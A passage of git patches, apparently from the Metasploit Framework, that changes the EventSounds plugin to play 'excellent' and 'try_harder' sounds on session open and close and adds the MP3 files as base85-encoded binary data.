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 ORxyk^mzR<58u=g2Ov^X` diff --git a/plugins/sounds.rb b/plugins/sounds.rb index 21ed81bff5..1db8e3bef5 100644 --- a/plugins/sounds.rb +++ b/plugins/sounds.rb @@ -14,6 +14,10 @@ module Msf class Plugin::EventSounds < Msf::Plugin + SESSION_CLOSE = 'try_harder' + SESSION_OPEN = 'excellent' + + attr_accessor :theme, :base, :queue, :queue_thread include Msf::SessionEvent @@ -23,25 +27,17 @@ class Plugin::EventSounds < Msf::Plugin end def on_session_open(session) - event = 'session_open_' + session.type - play_sound(event) + play_sound(SESSION_OPEN) end def on_session_close(session, reason='') - sid = session.sid.to_s - play_sound('session') - sid.unpack("C*").each do |c| - play_sound("num" + [c].pack("C")) - end - play_sound('closed') + play_sound(SESSION_CLOSE) end def on_plugin_load - play_sound('plugin_load') end def on_plugin_unload - play_sound('plugin_unload') end def start_sound_queue @@ -49,7 +45,7 @@ class Plugin::EventSounds < Msf::Plugin begin while(true) while(event = self.queue.shift) - path = ::File.join(self.base, self.theme, "#{event}.wav") + path = ::File.join(self.base, self.theme, "#{event}.mp3") if(::File.exists?(path)) Rex::Compat.play_sound(path) else From af8c557fa964d798eaa3655594163028081a0100 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 25 Nov 2015 18:09:27 -0600 Subject: [PATCH 1333/2172] Add the MP3s --- data/sounds/default/excellent.mp3 | Bin 0 -> 15488 bytes data/sounds/default/try_harder.mp3 | Bin 0 -> 19668 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100755 data/sounds/default/excellent.mp3 create mode 100755 data/sounds/default/try_harder.mp3 diff --git a/data/sounds/default/excellent.mp3 b/data/sounds/default/excellent.mp3 new file mode 100755 index 0000000000000000000000000000000000000000..0079af7937b1a88db7c284707261d3d5ffc101d2 GIT binary patch literal 15488 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 